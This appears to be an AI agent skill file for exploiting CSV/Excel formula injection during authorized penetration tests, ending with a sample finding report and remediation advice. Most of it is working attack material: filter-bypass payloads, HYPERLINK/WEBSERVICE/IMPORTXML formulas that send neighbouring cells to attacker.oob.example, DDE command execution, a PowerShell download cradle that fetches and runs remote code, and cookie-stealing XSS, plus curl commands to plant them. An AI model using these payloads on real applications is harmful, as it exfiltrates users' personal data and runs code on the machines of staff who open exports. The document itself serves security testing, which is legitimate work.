exploiting-csv-formula-injection
$
npx mdskill add xalgord/xalgorix/exploiting-csv-formula-injection- During authorized penetration tests of any application that exports user-controlled data to CSV, XLS, or XLSX - When the target has "Export to CSV/Excel", report generators, audit logs, or admin dashboards that dump user-submitted fields - When user input (name, address, comment, support ticket, profile field) is later downloaded and opened by another user or an administrator in a spreadsheet client - For validating that exported fields are neutralized (prefixed/escaped) before reaching a spreadsheet engine - During bug bounty programs targeting injection and client-side code execution via documents
SKILL.md
.github/skills/exploiting-csv-formula-injectionView on GitHub ↗
---
name: exploiting-csv-formula-injection
description: Identifying and exploiting CSV/Excel formula (DDE) injection in import and export features where
attacker-controlled data is written into spreadsheets and executed when opened in Excel or LibreOffice.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- csv-injection
- formula-injection
- dde
- excel
- spreadsheet
- web-security
version: '1.0'
author: xalgorix
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
---
# Exploiting CSV Formula Injection
## When to Use
- During authorized penetration tests of any application that exports user-controlled data to CSV, XLS, or XLSX
- When the target has "Export to CSV/Excel", report generators, audit logs, or admin dashboards that dump user-submitted fields
- When user input (name, address, comment, support ticket, profile field) is later downloaded and opened by another user or an administrator in a spreadsheet client
- For validating that exported fields are neutralized (prefixed/escaped) before reaching a spreadsheet engine
- During bug bounty programs targeting injection and client-side code execution via documents
## Prerequisites
- **Authorization**: Written penetration testing agreement covering client-side execution payloads
- **Microsoft Excel and LibreOffice Calc**: To validate behavior across both engines (DDE differs)
- **A controlled victim VM**: To safely detonate command-execution payloads (never on production endpoints)
- **Collaborator/OOB host**: Burp Collaborator, interactsh, or a logging webhook to confirm `HYPERLINK`/`WEBSERVICE` callbacks
- **Two test accounts**: One to inject (attacker), one to export/open (victim/admin) where the workflow allows
- **Burp Suite or curl**: For submitting payloads into import/profile fields
## Critical: Checks Most Often Missed
CSV injection is missed because the injection point and the execution point are
in different places — input is stored by the web app but only "fires" later in a
desktop spreadsheet. Work through this checklist for every exportable field:
- **Trace input to every export, not just the obvious one.** A name field may be
safe in the profile page but exported raw in an admin CSV, a billing report, an
audit log, or an analytics dump. Find the field that an *admin* opens.
- **Test all four trigger prefixes.** A field is vulnerable if a cell begins with
`=`, `+`, `-`, or `@`. Filters that strip only `=` still allow `+1+1`,
`-1+1`, and `@SUM(1+1)`.
- **Leading whitespace / control-char bypass.** Excel trims a leading space, tab
(`\t`), carriage return (`\r`), or line feed before parsing, so ` =1+1` or
`\t=cmd|...` defeats a naive "starts with `=`" check while still executing.
- **Comma/quote breakout to control the cell.** If your value lands mid-row,
inject `"` or `,` to break out and start a fresh cell, e.g.
`foo","=2+5","bar` so the formula occupies its own cell.
- **The exfil payloads are the real impact.** `=HYPERLINK` and `=WEBSERVICE`
leak other cells (other users' PII in the same sheet) to your server with one
click and no macro warning in many configs — confirm with an OOB callback.
- **DDE command execution path.** `=cmd|'/c calc'!A1` (and `=DDE(...)`) launches
external programs; modern Excel shows a prompt, but users click through, and
legacy/registry-tweaked or LibreOffice setups may auto-run.
- **The stored-XSS-via-CSV variant.** If the "CSV" is rendered in a browser
(preview pane, in-app table from the uploaded file, or served with the wrong
`Content-Type`), `"><script>alert(document.domain)</script>` becomes stored
XSS, not formula injection — test both outcomes.
- **Round-trip import→export.** Upload a CSV containing payloads, then export it
back out. Apps often sanitize on display but not on re-export.
## Workflow
### Step 1: Map Input Sinks and Export Surfaces
Identify every field a user controls that can end up in a downloadable spreadsheet.
```bash
# Browse the app through Burp with the attacker account and catalog:
# - Profile / account fields: name, company, address, bio, phone
# - Free-text: support tickets, comments, reviews, notes
# - Identifiers shown in lists: usernames, coupon codes, file names
# - Bulk import features: "Import contacts/products from CSV"
# Then find the EXPORT side (often admin-only):
# GET /admin/users/export?format=csv
# GET /reports/transactions.xlsx
# GET /api/v1/orders/export
# GET /audit/log/download
# Confirm the export Content-Type and whether values are quoted:
curl -s -H "Authorization: $TOKEN_ADMIN" \
"https://target.example.com/admin/users/export?format=csv" -o export.csv
head -n 5 export.csv
# Note whether each field is wrapped in "..." and whether your stored value
# appears verbatim (unescaped) at the start of a cell.
```
### Step 2: Submit Detection Payloads (Benign Math First)
Use harmless arithmetic that proves the cell is being *evaluated*, not just stored as text.
```bash
# Inject one benign payload per field; the result in the opened sheet tells you:
# - shows "2" => formula executed (VULNERABLE)
# - shows "=1+1"=> stored as literal text (safe / neutralized)
# Standard trigger characters (test ALL of them):
=1+1
+1+1
-1+1
@SUM(1+1)
=1+1)+cmd|'/c calc'!A1 # combined arithmetic + DDE probe
# Whitespace / control-character bypass for "starts-with-=" filters:
=1+1 # leading space
=1+1 # leading tab
=1+1%0d # leading CR variants when submitted URL-encoded
# Cell-breakout when your value lands inside an existing quoted field:
foo","=2*3","bar
# Example: store payload in the "company" profile field via API
curl -s -X PUT -H "Authorization: $TOKEN_ATTACKER" \
-H "Content-Type: application/json" \
-d '{"company":"=1+1"}' \
"https://target.example.com/api/v1/profile"
```
### Step 3: Confirm Execution by Opening the Export
The vulnerability fires when the exported file is opened in a spreadsheet client.
```bash
# 1) Trigger / download the export that contains your stored payload:
curl -s -H "Authorization: $TOKEN_ADMIN" \
"https://target.example.com/admin/users/export?format=csv" -o poc.csv
# 2) Inspect raw bytes (confirm payload is unescaped at cell start):
grep -n "=1+1" poc.csv
# 3) Open in a spreadsheet to validate execution:
libreoffice --calc poc.csv # LibreOffice Calc
# or open poc.csv in Microsoft Excel on the victim VM
# Excel behavior: prompts "enable content?" for DDE; arithmetic evaluates
# silently. LibreOffice evaluates =formulas by default (Tools > Options >
# Calc > Formula governs this). Record exactly which engine executes and
# whether a prompt appears.
```
### Step 4: Weaponize — Data Exfiltration via HYPERLINK / WEBSERVICE
These payloads quietly leak other cells (other victims' data) to your server on click/open.
```bash
# HYPERLINK: builds a clickable link whose URL embeds a neighbouring cell.
# When the victim clicks the link, your server logs the referenced data.
=HYPERLINK("http://attacker.oob.example/?d="&A1,"View report")
=HYPERLINK("http://attacker.oob.example/?leak="&CONCATENATE(A1,"-",B1),"Click")
# WEBSERVICE (Excel): fires an HTTP GET on OPEN — no click needed in many setups,
# exfiltrating an adjacent cell as a query parameter:
=WEBSERVICE("http://attacker.oob.example/?d="&A2)
=WEBSERVICE(CONCATENATE("http://attacker.oob.example/?u=",A2))
# IMPORTLISTING / IMPORTXML (LibreOffice / Google Sheets analogue):
=IMPORTXML(CONCAT("http://attacker.oob.example/?v=",A1),"//a")
# Confirm the callback on your OOB listener:
# GET /?d=victim.user@corp.example <-- exfiltrated cell content
# Use Burp Collaborator or:
python3 -m http.server 8000 # watch the access log for inbound hits
```
### Step 5: Weaponize — Command Execution via DDE
DDE (Dynamic Data Exchange) can launch local programs; useful to demonstrate full client compromise.
```bash
# Classic calc.exe proof (replace with a benign marker, NEVER live malware):
=cmd|'/c calc'!A1
=cmd|'/c calc.exe'!A0
@SUM(1+9)*cmd|'/c calc'!A0
# Batched / chained commands to prove arbitrary execution:
=cmd|'/c calc.exe&ping -n 1 attacker.oob.example'!A1
# PowerShell download-cradle pattern (use only on the controlled victim VM):
=cmd|'/c powershell IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.oob.example/p.txt\")'!A1
# Excel shows a chain of warnings ("remote data not accessible", "start app?").
# Document whether the victim profile clicks through. Pair with a phishing
# pretext in the report to reflect realistic user behavior.
```
### Step 6: Test the Stored-XSS-via-CSV-Import Variant
If uploaded CSV content is rendered in the browser instead of (or before) being downloaded, you get stored XSS.
```bash
# Upload a CSV whose fields contain HTML/JS rather than formulas:
cat > evil.csv <<'EOF'
name,email
"><script>alert(document.domain)</script>,a@a.test
"><img src=x onerror=alert(document.cookie)>,b@b.test
=HYPERLINK("javascript:alert(1)","x"),c@c.test
EOF
curl -s -X POST -H "Authorization: $TOKEN_ATTACKER" \
-F "file=@evil.csv;type=text/csv" \
"https://target.example.com/api/v1/contacts/import"
# Then load the page that previews / lists imported rows:
# - If the script executes => stored XSS via CSV import
# - If the response Content-Type is text/html for the "CSV" download =>
# opening it in a browser executes the markup
curl -s -D - -H "Authorization: $TOKEN_ATTACKER" \
"https://target.example.com/contacts/preview" -o /dev/null | grep -i content-type
```
## Key Concepts
| Concept | Description |
|---------|-------------|
| **Formula trigger characters** | A spreadsheet treats a cell as a formula when it starts with `=`, `+`, `-`, or `@` |
| **DDE (Dynamic Data Exchange)** | Legacy IPC mechanism abused via `=cmd\|'...'!A1` to launch external programs |
| **HYPERLINK exfiltration** | `=HYPERLINK(url&cell,...)` leaks adjacent cell data to an attacker URL on click |
| **WEBSERVICE / IMPORTXML** | Functions that issue outbound HTTP on open, enabling click-less exfiltration |
| **Cell breakout** | Using `,` or `"` to escape an existing quoted field and start a fresh formula cell |
| **Whitespace bypass** | Leading space/tab/CR is trimmed by Excel before parsing, defeating naive `=` filters |
| **Stored XSS via CSV** | When CSV content is rendered as HTML in a browser instead of a spreadsheet client |
| **Neutralization** | Prefixing risky cells with a single quote `'` (or tab) to force literal text |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **Microsoft Excel** | Primary target engine; validates DDE prompts and `WEBSERVICE` on-open behavior |
| **LibreOffice Calc** | Cross-engine validation; evaluates formulas and `IMPORTXML`/`WEBSERVICE` differently |
| **Burp Suite** | Intercept and tamper import/profile requests; resend export requests |
| **Burp Collaborator / interactsh** | Out-of-band listener to confirm `HYPERLINK`/`WEBSERVICE` exfil callbacks |
| **python3 -m http.server** | Simple OOB receiver to capture exfiltrated cell data in access logs |
| **csvlint / xsv** | Inspect raw exported CSV structure and confirm unescaped payloads |
## Common Scenarios
### Scenario 1: Profile Field to Admin Export
A user sets their company name to `=WEBSERVICE("http://attacker.oob/?d="&A1)`. An administrator later exports the user list to CSV and opens it in Excel; the cell silently exfiltrates the adjacent username/email to the attacker.
### Scenario 2: Support Ticket DDE
A free-text support ticket body stores `=cmd|'/c calc'!A1`. The support agent exports tickets to Excel for triage; opening the file prompts to run an external app, leading to command execution on the agent's workstation.
### Scenario 3: CSV Import Round-Trip XSS
A contact-import feature stores `"><script>alert(document.domain)</script>` from an uploaded CSV. The in-app contacts table renders the field as HTML, producing stored XSS that fires for every user who views the contact list.
### Scenario 4: Coupon/Username Enumeration Export
Usernames or coupon codes beginning with `-` or `+` (e.g. `+44...` phone numbers) are exported unescaped, both confirming the lack of neutralization and demonstrating that crafted values execute in finance/marketing exports.
## Output Format
```
## CSV Formula Injection Finding
**Vulnerability**: CSV/Excel Formula (DDE) Injection
**Severity**: High (CVSS 8.0)
**Injection Point**: PUT /api/v1/profile field "company"
**Execution Point**: GET /admin/users/export?format=csv (opened in Excel/LibreOffice)
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. As attacker account, set profile field "company" to: =WEBSERVICE("http://oob.example/?d="&A1)
2. As administrator, download GET /admin/users/export?format=csv
3. Open export.csv in Microsoft Excel
4. Observe an outbound HTTP request to oob.example carrying the adjacent cell value
5. Replace payload with =cmd|'/c calc'!A1 to demonstrate command execution on open
### Affected Fields / Exports
| Field | Stored Via | Exported By | Outcome |
|-------|-----------|-------------|---------|
| company | PUT /api/v1/profile | /admin/users/export | DDE exec + exfil |
| ticket_body | POST /api/v1/tickets | /admin/tickets.xlsx | DDE exec |
| display_name | PUT /api/v1/profile | contacts preview (HTML) | Stored XSS |
### Evidence
- OOB callback received: GET /?d=victim.user@corp.example
- Raw cell in export.csv: =WEBSERVICE("http://oob.example/?d="&A1)
- Filter bypassed leading-space variant: " =1+1" evaluated to 2
### Impact
- Client-side command execution on any staff member opening exports
- Exfiltration of other users' PII present in the same spreadsheet
- Stored XSS in the in-app contacts table when CSV is rendered as HTML
### Recommendation
1. Neutralize every exported cell that begins with =, +, -, @ (and leading
space/tab/CR) by prefixing a single quote ' or a tab character.
2. Wrap values in quotes and escape embedded quotes/commas per RFC 4180.
3. Reject or strip formula-leading characters at input validation for fields
known to be exported.
4. Serve CSV downloads with Content-Type: text/csv and
Content-Disposition: attachment to prevent in-browser HTML rendering.
5. Disable DDE and the WEBSERVICE/dynamic-data functions via Office group policy
on workstations that process untrusted exports.
```